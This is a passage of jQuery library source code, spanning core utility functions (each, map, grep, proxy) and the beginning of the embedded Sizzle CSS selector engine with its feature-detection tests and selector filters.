nodeName: function( elem, name ) {
return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase();
},
// args is for internal usage only
each: function( obj, callback, args ) {
var value,
i = 0,
length = obj.length,
isArray = isArraylike( obj );
if ( args ) {
if ( isArray ) {
for ( ; i < length; i++ ) {
value = callback.apply( obj[ i ], args );
if ( value === false ) {
break;
}
}
} else {
for ( i in obj ) {
value = callback.apply( obj[ i ], args );
if ( value === false ) {
break;
}
}
}
// A special, fast, case for the most common use of each
} else {
if ( isArray ) {
for ( ; i < length; i++ ) {
value = callback.call( obj[ i ], i, obj[ i ] );
if ( value === false ) {
break;
}
}
} else {
for ( i in obj ) {
value = callback.call( obj[ i ], i, obj[ i ] );
if ( value === false ) {
break;
}
}
}
}
return obj;
},
trim: function( text ) {
return text == null ? "" : trim.call( text );
},
// results is for internal usage only
makeArray: function( arr, results ) {
var ret = results || [];
if ( arr != null ) {
if ( isArraylike( Object(arr) ) ) {
jQuery.merge( ret,
typeof arr === "string" ?
[ arr ] : arr
);
} else {
push.call( ret, arr );
}
}
return ret;
},
inArray: function( elem, arr, i ) {
return arr == null ? -1 : indexOf.call( arr, elem, i );
},
merge: function( first, second ) {
var len = +second.length,
j = 0,
i = first.length;
for ( ; j < len; j++ ) {
first[ i++ ] = second[ j ];
}
first.length = i;
return first;
},
grep: function( elems, callback, invert ) {
var callbackInverse,
matches = [],
i = 0,
length = elems.length,
callbackExpect = !invert;
// Go through the array, only saving the items
// that pass the validator function
for ( ; i < length; i++ ) {
callbackInverse = !callback( elems[ i ], i );
if ( callbackInverse !== callbackExpect ) {
matches.push( elems[ i ] );
}
}
return matches;
},
// arg is for internal usage only
map: function( elems, callback, arg ) {
var value,
i = 0,
length = elems.length,
isArray = isArraylike( elems ),
ret = [];
// Go through the array, translating each of the items to their new values
if ( isArray ) {
for ( ; i < length; i++ ) {
value = callback( elems[ i ], i, arg );
if ( value != null ) {
ret.push( value );
}
}
// Go through every key on the object,
} else {
for ( i in elems ) {
value = callback( elems[ i ], i, arg );
if ( value != null ) {
ret.push( value );
}
}
}
// Flatten any nested arrays
return concat.apply( [], ret );
},
// A global GUID counter for objects
guid: 1,
// Bind a function to a context, optionally partially applying any
// arguments.
proxy: function( fn, context ) {
var tmp, args, proxy;
if ( typeof context === "string" ) {
tmp = fn[ context ];
context = fn;
fn = tmp;
}
// Quick check to determine if target is callable, in the spec
// this throws a TypeError, but we will just return undefined.
if ( !jQuery.isFunction( fn ) ) {
return undefined;
}
// Simulated bind
args = slice.call( arguments, 2 );
proxy = function() {
return fn.apply( context || this, args.concat( slice.call( arguments ) ) );
};
// Set the guid of unique handler to the same of original handler, so it can be removed
proxy.guid = fn.guid = fn.guid || jQuery.guid++;
return proxy;
},
now: Date.now,
// jQuery.support is not used in Core but other projects attach their
// properties to it so it needs to exist.
support: support
});
// Populate the class2type map
jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
class2type[ "[object " + name + "]" ] = name.toLowerCase();
});
function isArraylike( obj ) {
var length = obj.length,
type = jQuery.type( obj );
if ( type === "function" || jQuery.isWindow( obj ) ) {
return false;
}
if ( obj.nodeType === 1 && length ) {
return true;
}
return type === "array" || length === 0 ||
typeof length === "number" && length > 0 && ( length - 1 ) in obj;
}
var Sizzle =
/*!
* Sizzle CSS Selector Engine v1.10.16
* http://sizzlejs.com/
*
* Copyright 2013 jQuery Foundation, Inc. and other contributors
* Released under the MIT license
* http://jquery.org/license
*
* Date: 2014-01-13
*/
(function( window ) {
var i,
support,
Expr,
getText,
isXML,
compile,
outermostContext,
sortInput,
hasDuplicate,
// Local document vars
setDocument,
document,
docElem,
documentIsHTML,
rbuggyQSA,
rbuggyMatches,
matches,
contains,
// Instance-specific data
expando = "sizzle" + -(new Date()),
preferredDoc = window.document,
dirruns = 0,
done = 0,
classCache = createCache(),
tokenCache = createCache(),
compilerCache = createCache(),
sortOrder = function( a, b ) {
if ( a === b ) {
hasDuplicate = true;
}
return 0;
},
// General-purpose constants
strundefined = typeof undefined,
MAX_NEGATIVE = 1 << 31,
// Instance methods
hasOwn = ({}).hasOwnProperty,
arr = [],
pop = arr.pop,
push_native = arr.push,
push = arr.push,
slice = arr.slice,
// Use a stripped-down indexOf if we can't use a native one
indexOf = arr.indexOf || function( elem ) {
var i = 0,
len = this.length;
for ( ; i < len; i++ ) {
if ( this[i] === elem ) {
return i;
}
}
return -1;
},
booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
// Regular expressions
// Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace
whitespace = "[\\x20\\t\\r\\n\\f]",
// http://www.w3.org/TR/css3-syntax/#characters
characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
// Loosely modeled on CSS identifier characters
// An unquoted value should be a CSS identifier http://www.w3.org/TR/css3-selectors/#attribute-selectors
// Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
identifier = characterEncoding.replace( "w", "w#" ),
// Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors
attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace +
"*(?:([*^$|!~]?=)" + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]",
// Prefer arguments quoted,
// then not containing pseudos/brackets,
// then attribute selectors/non-parenthetical expressions,
// then anything else
// These preferences are here to reduce the number of selectors
// needing tokenize in the PSEUDO preFilter
pseudos = ":(" + characterEncoding + ")(?:\\(((['\"])((?:\\\\.|[^\\\\])*?)\\3|((?:\\\\.|[^\\\\()[\\]]|" + attributes.replace( 3, 8 ) + ")*)|.*)\\)|)",
// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
rcomma = new RegExp( "^" + whitespace + "*," + whitespace + "*" ),
rcombinators = new RegExp( "^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*" ),
rattributeQuotes = new RegExp( "=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g" ),
rpseudo = new RegExp( pseudos ),
ridentifier = new RegExp( "^" + identifier + "$" ),
matchExpr = {
"ID": new RegExp( "^#(" + characterEncoding + ")" ),
"CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ),
"TAG": new RegExp( "^(" + characterEncoding.replace( "w", "w*" ) + ")" ),
"ATTR": new RegExp( "^" + attributes ),
"PSEUDO": new RegExp( "^" + pseudos ),
"CHILD": new RegExp( "^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace +
"*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
"*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
"bool": new RegExp( "^(?:" + booleans + ")$", "i" ),
// For use in libraries implementing .is()
// We use this for POS matching in `select`
"needsContext": new RegExp( "^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" +
whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i" )
},
rinputs = /^(?:input|select|textarea|button)$/i,
rheader = /^h\d$/i,
rnative = /^[^{]+\{\s*\[native \w/,
// Easily-parseable/retrievable ID or TAG or CLASS selectors
rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
rsibling = /[+~]/,
rescape = /'|\\/g,
// CSS escapes http://www.w3.org/TR/CSS21/syndata.html#escaped-characters
runescape = new RegExp( "\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig" ),
funescape = function( _, escaped, escapedWhitespace ) {
var high = "0x" + escaped - 0x10000;
// NaN means non-codepoint
// Support: Firefox
// Workaround erroneous numeric interpretation of +"0x"
return high !== high || escapedWhitespace ?
escaped :
high < 0 ?
// BMP codepoint
String.fromCharCode( high + 0x10000 ) :
// Supplemental Plane codepoint (surrogate pair)
String.fromCharCode( high >> 10 | 0xD800, high & 0x3FF | 0xDC00 );
};
// Optimize for push.apply( _, NodeList )
try {
push.apply(
(arr = slice.call( preferredDoc.childNodes )),
preferredDoc.childNodes
);
// Support: Android<4.0
// Detect silently failing push.apply
arr[ preferredDoc.childNodes.length ].nodeType;
} catch ( e ) {
push = { apply: arr.length ?
// Leverage slice if possible
function( target, els ) {
push_native.apply( target, slice.call(els) );
} :
// Support: IE<9
// Otherwise append directly
function( target, els ) {
var j = target.length,
i = 0;
// Can't trust NodeList.length
while ( (target[j++] = els[i++]) ) {}
target.length = j - 1;
}
};
}
function Sizzle( selector, context, results, seed ) {
var match, elem, m, nodeType,
// QSA vars
i, groups, old, nid, newContext, newSelector;
if ( ( context ? context.ownerDocument || context : preferredDoc ) !== document ) {
setDocument( context );
}
context = context || document;
results = results || [];
if ( !selector || typeof selector !== "string" ) {
return results;
}
if ( (nodeType = context.nodeType) !== 1 && nodeType !== 9 ) {
return [];
}
if ( documentIsHTML && !seed ) {
// Shortcuts
if ( (match = rquickExpr.exec( selector )) ) {
// Speed-up: Sizzle("#ID")
if ( (m = match[1]) ) {
if ( nodeType === 9 ) {
elem = context.getElementById( m );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document (jQuery #6963)
if ( elem && elem.parentNode ) {
// Handle the case where IE, Opera, and Webkit return items
// by name instead of ID
if ( elem.id === m ) {
results.push( elem );
return results;
}
} else {
return results;
}
} else {
// Context is not a document
if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&
contains( context, elem ) && elem.id === m ) {
results.push( elem );
return results;
}
}
// Speed-up: Sizzle("TAG")
} else if ( match[2] ) {
push.apply( results, context.getElementsByTagName( selector ) );
return results;
// Speed-up: Sizzle(".CLASS")
} else if ( (m = match[3]) && support.getElementsByClassName && context.getElementsByClassName ) {
push.apply( results, context.getElementsByClassName( m ) );
return results;
}
}
// QSA path
if ( support.qsa && (!rbuggyQSA || !rbuggyQSA.test( selector )) ) {
nid = old = expando;
newContext = context;
newSelector = nodeType === 9 && selector;
// qSA works strangely on Element-rooted queries
// We can work around this by specifying an extra ID on the root
// and working up from there (Thanks to Andrew Dupont for the technique)
// IE 8 doesn't work on object elements
if ( nodeType === 1 && context.nodeName.toLowerCase() !== "object" ) {
groups = tokenize( selector );
if ( (old = context.getAttribute("id")) ) {
nid = old.replace( rescape, "\\$&" );
} else {
context.setAttribute( "id", nid );
}
nid = "[id='" + nid + "'] ";
i = groups.length;
while ( i-- ) {
groups[i] = nid + toSelector( groups[i] );
}
newContext = rsibling.test( selector ) && testContext( context.parentNode ) || context;
newSelector = groups.join(",");
}
if ( newSelector ) {
try {
push.apply( results,
newContext.querySelectorAll( newSelector )
);
return results;
} catch(qsaError) {
} finally {
if ( !old ) {
context.removeAttribute("id");
}
}
}
}
}
// All others
return select( selector.replace( rtrim, "$1" ), context, results, seed );
}
/**
* Create key-value caches of limited size
* @returns {Function(string, Object)} Returns the Object data after storing it on itself with
* property name the (space-suffixed) string and (if the cache is larger than Expr.cacheLength)
* deleting the oldest entry
*/
function createCache() {
var keys = [];
function cache( key, value ) {
// Use (key + " ") to avoid collision with native prototype properties (see Issue #157)
if ( keys.push( key + " " ) > Expr.cacheLength ) {
// Only keep the most recent entries
delete cache[ keys.shift() ];
}
return (cache[ key + " " ] = value);
}
return cache;
}
/**
* Mark a function for special use by Sizzle
* @param {Function} fn The function to mark
*/
function markFunction( fn ) {
fn[ expando ] = true;
return fn;
}
/**
* Support testing using an element
* @param {Function} fn Passed the created div and expects a boolean result
*/
function assert( fn ) {
var div = document.createElement("div");
try {
return !!fn( div );
} catch (e) {
return false;
} finally {
// Remove from its parent by default
if ( div.parentNode ) {
div.parentNode.removeChild( div );
}
// release memory in IE
div = null;
}
}
/**
* Adds the same handler for all of the specified attrs
* @param {String} attrs Pipe-separated list of attributes
* @param {Function} handler The method that will be applied
*/
function addHandle( attrs, handler ) {
var arr = attrs.split("|"),
i = attrs.length;
while ( i-- ) {
Expr.attrHandle[ arr[i] ] = handler;
}
}
/**
* Checks document order of two siblings
* @param {Element} a
* @param {Element} b
* @returns {Number} Returns less than 0 if a precedes b, greater than 0 if a follows b
*/
function siblingCheck( a, b ) {
var cur = b && a,
diff = cur && a.nodeType === 1 && b.nodeType === 1 &&
( ~b.sourceIndex || MAX_NEGATIVE ) -
( ~a.sourceIndex || MAX_NEGATIVE );
// Use IE sourceIndex if available on both nodes
if ( diff ) {
return diff;
}
// Check if b follows a
if ( cur ) {
while ( (cur = cur.nextSibling) ) {
if ( cur === b ) {
return -1;
}
}
}
return a ? 1 : -1;
}
/**
* Returns a function to use in pseudos for input types
* @param {String} type
*/
function createInputPseudo( type ) {
return function( elem ) {
var name = elem.nodeName.toLowerCase();
return name === "input" && elem.type === type;
};
}
/**
* Returns a function to use in pseudos for buttons
* @param {String} type
*/
function createButtonPseudo( type ) {
return function( elem ) {
var name = elem.nodeName.toLowerCase();
return (name === "input" || name === "button") && elem.type === type;
};
}
/**
* Returns a function to use in pseudos for positionals
* @param {Function} fn
*/
function createPositionalPseudo( fn ) {
return markFunction(function( argument ) {
argument = +argument;
return markFunction(function( seed, matches ) {
var j,
matchIndexes = fn( [], seed.length, argument ),
i = matchIndexes.length;
// Match elements found at the specified indexes
while ( i-- ) {
if ( seed[ (j = matchIndexes[i]) ] ) {
seed[j] = !(matches[j] = seed[j]);
}
}
});
});
}
/**
* Checks a node for validity as a Sizzle context
* @param {Element|Object=} context
* @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value
*/
function testContext( context ) {
return context && typeof context.getElementsByTagName !== strundefined && context;
}
// Expose support vars for convenience
support = Sizzle.support = {};
/**
* Detects XML nodes
* @param {Element|Object} elem An element or a document
* @returns {Boolean} True iff elem is a non-HTML XML node
*/
isXML = Sizzle.isXML = function( elem ) {
// documentElement is verified for cases where it doesn't yet exist
// (such as loading iframes in IE - #4833)
var documentElement = elem && (elem.ownerDocument || elem).documentElement;
return documentElement ? documentElement.nodeName !== "HTML" : false;
};
/**
* Sets document-related variables once based on the current document
* @param {Element|Object} [doc] An element or document object to use to set the document
* @returns {Object} Returns the current document
*/
setDocument = Sizzle.setDocument = function( node ) {
var hasCompare,
doc = node ? node.ownerDocument || node : preferredDoc,
parent = doc.defaultView;
// If no document and documentElement is available, return
if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) {
return document;
}
// Set our document
document = doc;
docElem = doc.documentElement;
// Support tests
documentIsHTML = !isXML( doc );
// Support: IE>8
// If iframe document is assigned to "document" variable and if iframe has been reloaded,
// IE will throw "permission denied" error when accessing "document" variable, see jQuery #13936
// IE6-8 do not support the defaultView property so parent will be undefined
if ( parent && parent !== parent.top ) {
// IE11 does not have attachEvent, so all must suffer
if ( parent.addEventListener ) {
parent.addEventListener( "unload", function() {
setDocument();
}, false );
} else if ( parent.attachEvent ) {
parent.attachEvent( "onunload", function() {
setDocument();
});
}
}
/* Attributes
---------------------------------------------------------------------- */
// Support: IE<8
// Verify that getAttribute really returns attributes and not properties (excepting IE8 booleans)
support.attributes = assert(function( div ) {
div.className = "i";
return !div.getAttribute("className");
});
/* getElement(s)By*
---------------------------------------------------------------------- */
// Check if getElementsByTagName("*") returns only elements
support.getElementsByTagName = assert(function( div ) {
div.appendChild( doc.createComment("") );
return !div.getElementsByTagName("*").length;
});
// Check if getElementsByClassName can be trusted
support.getElementsByClassName = rnative.test( doc.getElementsByClassName ) && assert(function( div ) {
div.innerHTML = "<div class='a'></div><div class='a i'></div>";
// Support: Safari<4
// Catch class over-caching
div.firstChild.className = "i";
// Support: Opera<10
// Catch gEBCN failure to find non-leading classes
return div.getElementsByClassName("i").length === 2;
});
// Support: IE<10
// Check if getElementById returns elements by name
// The broken getElementById methods don't pick up programatically-set names,
// so use a roundabout getElementsByName test
support.getById = assert(function( div ) {
docElem.appendChild( div ).id = expando;
return !doc.getElementsByName || !doc.getElementsByName( expando ).length;
});
// ID find and filter
if ( support.getById ) {
Expr.find["ID"] = function( id, context ) {
if ( typeof context.getElementById !== strundefined && documentIsHTML ) {
var m = context.getElementById( id );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
return m && m.parentNode ? [m] : [];
}
};
Expr.filter["ID"] = function( id ) {
var attrId = id.replace( runescape, funescape );
return function( elem ) {
return elem.getAttribute("id") === attrId;
};
};
} else {
// Support: IE6/7
// getElementById is not reliable as a find shortcut
delete Expr.find["ID"];
Expr.filter["ID"] = function( id ) {
var attrId = id.replace( runescape, funescape );
return function( elem ) {
var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id");
return node && node.value === attrId;
};
};
}
// Tag
Expr.find["TAG"] = support.getElementsByTagName ?
function( tag, context ) {
if ( typeof context.getElementsByTagName !== strundefined ) {
return context.getElementsByTagName( tag );
}
} :
function( tag, context ) {
var elem,
tmp = [],
i = 0,
results = context.getElementsByTagName( tag );
// Filter out possible comments
if ( tag === "*" ) {
while ( (elem = results[i++]) ) {
if ( elem.nodeType === 1 ) {
tmp.push( elem );
}
}
return tmp;
}
return results;
};
// Class
Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) {
if ( typeof context.getElementsByClassName !== strundefined && documentIsHTML ) {
return context.getElementsByClassName( className );
}
};
/* QSA/matchesSelector
---------------------------------------------------------------------- */
// QSA and matchesSelector support
// matchesSelector(:active) reports false when true (IE9/Opera 11.5)
rbuggyMatches = [];
// qSa(:focus) reports false when true (Chrome 21)
// We allow this because of a bug in IE8/9 that throws an error
// whenever `document.activeElement` is accessed on an iframe
// So, we allow :focus to pass through QSA all the time to avoid the IE error
// See http://bugs.jquery.com/ticket/13378
rbuggyQSA = [];
if ( (support.qsa = rnative.test( doc.querySelectorAll )) ) {
// Build QSA regex
// Regex strategy adopted from Diego Perini
assert(function( div ) {
// Select is set to empty string on purpose
// This is to test IE's treatment of not explicitly
// setting a boolean content attribute,
// since its presence should be enough
// http://bugs.jquery.com/ticket/12359
div.innerHTML = "<select t=''><option selected=''></option></select>";
// Support: IE8, Opera 10-12
// Nothing should be selected when empty strings follow ^= or $= or *=
if ( div.querySelectorAll("[t^='']").length ) {
rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" );
}
// Support: IE8
// Boolean attributes and "value" are not treated correctly
if ( !div.querySelectorAll("[selected]").length ) {
rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
}
// Webkit/Opera - :checked should return selected option elements
// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
// IE8 throws error here and will not see later tests
if ( !div.querySelectorAll(":checked").length ) {
rbuggyQSA.push(":checked");
}
});
assert(function( div ) {
// Support: Windows 8 Native Apps
// The type and name attributes are restricted during .innerHTML assignment
var input = doc.createElement("input");
input.setAttribute( "type", "hidden" );
div.appendChild( input ).setAttribute( "name", "D" );
// Support: IE8
// Enforce case-sensitivity of name attribute
if ( div.querySelectorAll("[name=d]").length ) {
rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" );
}
// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
// IE8 throws error here and will not see later tests
if ( !div.querySelectorAll(":enabled").length ) {
rbuggyQSA.push( ":enabled", ":disabled" );
}
// Opera 10-11 does not throw on post-comma invalid pseudos
div.querySelectorAll("*,:x");
rbuggyQSA.push(",.*:");
});
}
if ( (support.matchesSelector = rnative.test( (matches = docElem.webkitMatchesSelector ||
docElem.mozMatchesSelector ||
docElem.oMatchesSelector ||
docElem.msMatchesSelector) )) ) {
assert(function( div ) {
// Check to see if it's possible to do matchesSelector
// on a disconnected node (IE 9)
support.disconnectedMatch = matches.call( div, "div" );
// This should fail with an exception
// Gecko does not error, returns false instead
matches.call( div, "[s!='']:x" );
rbuggyMatches.push( "!=", pseudos );
});
}
rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") );
rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") );
/* Contains
---------------------------------------------------------------------- */
hasCompare = rnative.test( docElem.compareDocumentPosition );
// Element contains another
// Purposefully does not implement inclusive descendent
// As in, an element does not contain itself
contains = hasCompare || rnative.test( docElem.contains ) ?
function( a, b ) {
var adown = a.nodeType === 9 ? a.documentElement : a,
bup = b && b.parentNode;
return a === bup || !!( bup && bup.nodeType === 1 && (
adown.contains ?
adown.contains( bup ) :
a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
));
} :
function( a, b ) {
if ( b ) {
while ( (b = b.parentNode) ) {
if ( b === a ) {
return true;
}
}
}
return false;
};
/* Sorting
---------------------------------------------------------------------- */
// Document order sorting
sortOrder = hasCompare ?
function( a, b ) {
// Flag for duplicate removal
if ( a === b ) {
hasDuplicate = true;
return 0;
}
// Sort on method existence if only one input has compareDocumentPosition
var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
if ( compare ) {
return compare;
}
// Calculate position if both inputs belong to the same document
compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?
a.compareDocumentPosition( b ) :
// Otherwise we know they are disconnected
1;
// Disconnected nodes
if ( compare & 1 ||
(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {
// Choose the first element that is related to our preferred document
if ( a === doc || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {
return -1;
}
if ( b === doc || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {
return 1;
}
// Maintain original order
return sortInput ?
( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
0;
}
return compare & 4 ? -1 : 1;
} :
function( a, b ) {
// Exit early if the nodes are identical
if ( a === b ) {
hasDuplicate = true;
return 0;
}
var cur,
i = 0,
aup = a.parentNode,
bup = b.parentNode,
ap = [ a ],
bp = [ b ];
// Parentless nodes are either documents or disconnected
if ( !aup || !bup ) {
return a === doc ? -1 :
b === doc ? 1 :
aup ? -1 :
bup ? 1 :
sortInput ?
( indexOf.call( sortInput, a ) - indexOf.call( sortInput, b ) ) :
0;
// If the nodes are siblings, we can do a quick check
} else if ( aup === bup ) {
return siblingCheck( a, b );
}
// Otherwise we need full lists of their ancestors for comparison
cur = a;
while ( (cur = cur.parentNode) ) {
ap.unshift( cur );
}
cur = b;
while ( (cur = cur.parentNode) ) {
bp.unshift( cur );
}
// Walk down the tree looking for a discrepancy
while ( ap[i] === bp[i] ) {
i++;
}
return i ?
// Do a sibling check if the nodes have a common ancestor
siblingCheck( ap[i], bp[i] ) :
// Otherwise nodes in our document sort first
ap[i] === preferredDoc ? -1 :
bp[i] === preferredDoc ? 1 :
0;
};
return doc;
};
Sizzle.matches = function( expr, elements ) {
return Sizzle( expr, null, null, elements );
};
Sizzle.matchesSelector = function( elem, expr ) {
// Set document vars if needed
if ( ( elem.ownerDocument || elem ) !== document ) {
setDocument( elem );
}
// Make sure that attribute selectors are quoted
expr = expr.replace( rattributeQuotes, "='$1']" );
if ( support.matchesSelector && documentIsHTML &&
( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&
( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) {
try {
var ret = matches.call( elem, expr );
// IE 9's matchesSelector returns false on disconnected nodes
if ( ret || support.disconnectedMatch ||
// As well, disconnected nodes are said to be in a document
// fragment in IE 9
elem.document && elem.document.nodeType !== 11 ) {
return ret;
}
} catch(e) {}
}
return Sizzle( expr, document, null, [elem] ).length > 0;
};
Sizzle.contains = function( context, elem ) {
// Set document vars if needed
if ( ( context.ownerDocument || context ) !== document ) {
setDocument( context );
}
return contains( context, elem );
};
Sizzle.attr = function( elem, name ) {
// Set document vars if needed
if ( ( elem.ownerDocument || elem ) !== document ) {
setDocument( elem );
}
var fn = Expr.attrHandle[ name.toLowerCase() ],
// Don't get fooled by Object.prototype properties (jQuery #13807)
val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
fn( elem, name, !documentIsHTML ) :
undefined;
return val !== undefined ?
val :
support.attributes || !documentIsHTML ?
elem.getAttribute( name ) :
(val = elem.getAttributeNode(name)) && val.specified ?
val.value :
null;
};
Sizzle.error = function( msg ) {
throw new Error( "Syntax error, unrecognized expression: " + msg );
};
/**
* Document sorting and removing duplicates
* @param {ArrayLike} results
*/
Sizzle.uniqueSort = function( results ) {
var elem,
duplicates = [],
j = 0,
i = 0;
// Unless we *know* we can detect duplicates, assume their presence
hasDuplicate = !support.detectDuplicates;
sortInput = !support.sortStable && results.slice( 0 );
results.sort( sortOrder );
if ( hasDuplicate ) {
while ( (elem = results[i++]) ) {
if ( elem === results[ i ] ) {
j = duplicates.push( i );
}
}
while ( j-- ) {
results.splice( duplicates[ j ], 1 );
}
}
// Clear input after sorting to release objects
// See https://github.com/jquery/sizzle/pull/225
sortInput = null;
return results;
};
/**
* Utility function for retrieving the text value of an array of DOM nodes
* @param {Array|Element} elem
*/
getText = Sizzle.getText = function( elem ) {
var node,
ret = "",
i = 0,
nodeType = elem.nodeType;
if ( !nodeType ) {
// If no nodeType, this is expected to be an array
while ( (node = elem[i++]) ) {
// Do not traverse comment nodes
ret += getText( node );
}
} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
// Use textContent for elements
// innerText usage removed for consistency of new lines (jQuery #11153)
if ( typeof elem.textContent === "string" ) {
return elem.textContent;
} else {
// Traverse its children
for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
ret += getText( elem );
}
}
} else if ( nodeType === 3 || nodeType === 4 ) {
return elem.nodeValue;
}
// Do not include comment or processing instruction nodes
return ret;
};
Expr = Sizzle.selectors = {
// Can be adjusted by the user
cacheLength: 50,
createPseudo: markFunction,
match: matchExpr,
attrHandle: {},
find: {},
relative: {
">": { dir: "parentNode", first: true },
" ": { dir: "parentNode" },
"+": { dir: "previousSibling", first: true },
"~": { dir: "previousSibling" }
},
preFilter: {
"ATTR": function( match ) {
match[1] = match[1].replace( runescape, funescape );
// Move the given value to match[3] whether quoted or unquoted
match[3] = ( match[4] || match[5] || "" ).replace( runescape, funescape );
if ( match[2] === "~=" ) {
match[3] = " " + match[3] + " ";
}
return match.slice( 0, 4 );
},
"CHILD": function( match ) {
/* matches from matchExpr["CHILD"]
1 type (only|nth|...)
2 what (child|of-type)
3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
4 xn-component of xn+y argument ([+-]?\d*n|)
5 sign of xn-component
6 x of xn-component
7 sign of y-component
8 y of y-component
*/
match[1] = match[1].toLowerCase();
if ( match[1].slice( 0, 3 ) === "nth" ) {
// nth-* requires argument
if ( !match[3] ) {
Sizzle.error( match[0] );
}
// numeric x and y parameters for Expr.filter.CHILD
// remember that false/true cast respectively to 0/1
match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) );
match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" );
// other types prohibit arguments
} else if ( match[3] ) {
Sizzle.error( match[0] );
}
return match;
},
"PSEUDO": function( match ) {
var excess,
unquoted = !match[5] && match[2];
if ( matchExpr["CHILD"].test( match[0] ) ) {
return null;
}
// Accept quoted arguments as-is
if ( match[3] && match[4] !== undefined ) {
match[2] = match[4];
// Strip excess characters from unquoted arguments
} else if ( unquoted && rpseudo.test( unquoted ) &&
// Get excess from tokenize (recursively)
(excess = tokenize( unquoted, true )) &&
// advance to the next closing parenthesis
(excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
// excess is a negative index
match[0] = match[0].slice( 0, excess );
match[2] = unquoted.slice( 0, excess );
}
// Return only captures needed by the pseudo filter method (type and argument)
return match.slice( 0, 3 );
}
},
filter: {
"TAG": function( nodeNameSelector ) {
var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
return nodeNameSelector === "*" ?
function() { return true; } :
function( elem ) {
return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
};
},
"CLASS": function( className ) {
var pattern = classCache[ className + " " ];
return pattern ||
(pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
classCache( className, function( elem ) {
return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== strundefined && elem.getAttribute("class") || "" );
});
},
"ATTR": function( name, operator, check ) {
return function( elem ) {
var result = Sizzle.attr( elem, name );
if ( result == null ) {
return operator === "!=";
}
if ( !operator ) {
return true;
}
result += "";
return operator === "=" ? result === check :
operator === "!=" ? result !== check :
operator === "^=" ? check && result.indexOf( check ) === 0 :
operator === "*=" ? check && result.indexOf( check ) > -1 :
operator === "$=" ? check && result.slice( -check.length ) === check :
operator === "~=" ? ( " " + result + " " ).indexOf( check ) > -1 :
operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
false;
};
},
"CHILD": function( type, what, argument, first, last ) {
var simple = type.slice( 0, 3 ) !== "nth",
forward = type.slice( -4 ) !== "last",
ofType = what === "of-type";
return first === 1 && last === 0 ?
// Shortcut for :nth-*(n)
function( elem ) {
return !!elem.parentNode;
} :
function( elem, context, xml ) {
var cache, outerCache, node, diff, nodeIndex, start,
dir = simple !== forward ? "nextSibling" : "previousSibling",
parent = elem.parentNode,
name = ofType && elem.nodeName.toLowerCase(),
useCache = !xml && !ofType;
if ( parent ) {
// :(first|last|only)-(child|of-type)
if ( simple ) {
while ( dir ) {
node = elem;
while ( (node = node[ dir ]) ) {
if ( ofType ? node.nodeName.toLowerCase() === name : node.nodeType === 1 ) {
return false;
}
}
// Reverse direction for :only-* (if we haven't yet done so)
start = dir = type === "only" && !start && "nextSibling";
}
return true;
}
start = [ forward ? parent.firstChild : parent.lastChild ];
// non-xml :nth-child(...) stores cache data on `parent`
